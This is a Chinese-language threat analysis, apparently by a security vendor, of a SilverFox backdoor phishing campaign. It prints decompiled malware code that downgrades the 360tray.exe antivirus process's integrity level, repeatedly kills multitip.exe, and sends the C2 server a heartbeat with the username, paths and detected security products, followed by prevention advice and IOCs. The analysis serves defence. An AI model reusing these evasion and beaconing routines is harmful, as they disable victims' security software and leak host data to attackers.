如果检测到360tray.exe则对其进行降权处理

  v3 = sub_1400024F0("360tray.exe");
  if ( v3 )
  {
    v4 = OpenProcess(0x1000u, 0, v3);
    v5 = v4;
    if ( v4 )
    {
      if ( OpenProcessToken(v4, 0xF01FFu, &TokenHandle) )
      {
        pSid = 0x1000000000000101LL;
        v12 = 0;
        TokenInformation[1] = 32LL;
        TokenInformation[0] = &pSid;
        LengthSid = GetLengthSid(&pSid);
        if ( SetTokenInformation(TokenHandle, TokenIntegrityLevel, TokenInformation, LengthSid + 16) )
        {
          CreateThread(0LL, 0LL, sub_140005040, 0LL, 0, 0LL);
          v2 = (unsigned int)sub_140004A40() != 0;
        }
        CloseHandle(TokenHandle);
      }
      CloseHandle(v5);
    }
  }
  else
  {
    v2 = (unsigned int)sub_140004A40() != 0;
  }
  v8[0] = !v2 - 38;
  sub_140001580(a1, v8, 1LL);
  return 0;

并且在线程中循环消灭multitip.exe进程

  while ( 1 )
  {
    th32ProcessID = 0;
    Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
    v3 = (PROCESSENTRY32 *)operator new(0x130uLL);
    v4 = v3;
    if ( !v3 )
      goto LABEL_12;
    v3->dwSize = 304;
    if ( Process32First(Toolhelp32Snapshot, v3) )
    {
      if ( lstrcmpiA(v4->szExeFile, "multitip.exe") )
      {
        if ( !Process32Next(Toolhelp32Snapshot, v4) )
          goto LABEL_9;
        while ( lstrcmpiA(v4->szExeFile, "multitip.exe") )
        {
          if ( !Process32Next(Toolhelp32Snapshot, v4) )
            goto LABEL_9;
        }
      }
      th32ProcessID = v4->th32ProcessID;
    }
LABEL_9:
    CloseHandle(Toolhelp32Snapshot);
    j_free(v4);
    if ( th32ProcessID )
    {
      v5 = OpenProcess(0x1FFFFFu, 0, th32ProcessID);
      if ( v5 )
        TerminateProcess(v5, 0);
    }
LABEL_12:
    Sleep(0x3E8u);
  }
}

之后会持续发送心跳包将包含当前时间、用户名、当前路径、以及筛选当前进程是否存在如MCPR.exeavgnt.exeAliYunDun.exe等安全软件进程的信息合并发送回c2

  v17 = -2LL;
  memset(String1, 0, 0x307uLL);
  v20 = -56;
  lstrcatA(String1, (LPCSTR)(a1 + 224));
  LODWORD(nSize) = 50;
  v4 = (const char *)sub_140006C60("Remark");
  if ( strlen(v4) )
    strncpy(&String1[130], v4, 0x32uLL);
  else
    GetComputerNameA(&String1[130], (LPDWORD)&nSize);
  *(_DWORD *)&String1[231] = GetCurrentProcessId();
  *(_DWORD *)&String1[755] = a2;
  String1[491] = sub_140002A30();
  v19 = 15LL;
  Source[2] = 0LL;
  LOBYTE(Source[0]) = 0;
  sub_140003F70(Source, 0LL);
  Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
  v6 = (char *)operator new(0x130uLL);
  if ( v6 )
    sub_140002950(Source, Toolhelp32Snapshot, v6);
  v7 = (const char *)Source;
  if ( v19 >= 0x10 )
    v7 = Source[0];
  strncpy_s(&String1[299], 0x80uLL, v7, 0x7FuLL);
  v8 = (CHAR *)sub_140006C60("Time");
  if ( !lstrlenA(v8) )
  {
    time64(&nSize);
    v9 = localtime64(&nSize);
    wsprintfA(v8, "%d-%d-%d %d:%d", v9->tm_year + 1900, v9->tm_mon + 1, v9->tm_mday, v9->tm_hour, v9->tm_min);
    sub_140006B80("Time", v8);
  }
  strncpy_s(&String1[235], 0x40uLL, v8, 0x3FuLL);
  if ( strlen((const char *)sub_140006C60("Group")) )
  {
    v10 = (const char *)sub_140006C60("Group");
    strncpy_s(&String1[427], 0x40uLL, v10, 0x3FuLL);
  }
  v16 = 50;
  strcpy(ProcName, "GetUserNameA");
  strcpy(LibFileName, "Advapi32.dll");
  LibraryA = LoadLibraryA(LibFileName);
  ProcAddress = GetProcAddress(LibraryA, ProcName);
  ((void (__fastcall *)(CHAR *, int *))ProcAddress)(&String1[180], &v16);
  sub_140002BC0(&String1[759]);
  GetModuleFileNameA(0LL, &String1[492], 0x104u);
  result = sub_140001E20(a1, &v20, 776LL);

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程等情况。

案例1:

image

案例2:

image

总结

  近期捕获的钓鱼邮件攻击样本,攻击者借助带有合法数字签名的文件作为掩护,迷惑用户与安全防护机制。为躲避沙箱虚拟机和调试分析等,也采用了一些对抗手法。为防范类似攻击,用户需提升安全意识,不轻易点击可疑链接以及打开可疑文件。瑞星将持续跟踪此类事件,保障用户设备安全。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    D5D9053B8097542E4F594D8B129C7C86
    103A7C7B5033DB386C484F6846AECF28
    D3FC2B2CF324102C2800E7CDAF1B10BA
    0B70320AC2F5F6BE5FEE0B0B3C27D785
    F5AF69E0A10B7E7BBBF8FC1EE6DFCC2B
    b16131ad5ced53662a61b230452a2a93
    3fbb7853b70b4383d76c98e02d4bc941
    6e3a5649599cff7ce8826bd46e3c1685
    ed5e0ac43bf4363662bd3288c7fbbe3b
    c598696cd40597af817461b43d3e8b3e
  • URL

    hxxps://baidu.com@cuomicufvhehy.cn/?lzhlujkoai
    hxxps://baidu.com@olnrrzvvpypuhutf.cn/?ykwpolenff
    hxxps://xuyuyohlzgtmcvr.cn/
  • Domain

    cuomicufvhehy.cn
    olnrrzvvpypuhutf.cn
    xuyuyohlzgtmcvr.cn
  • IPV4

    38.181.42.127
    192.238.129.9
    150.109.48.238
  • 瑞星病毒名

    Downloader.Agent!1.12E0B
    Backdoor.SilverFox!1.12E40
    Trojan.ShellCodeRunner!1.12E42
    Trojan.ShellCodeRunner/x64!1.12E3D

Authors

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *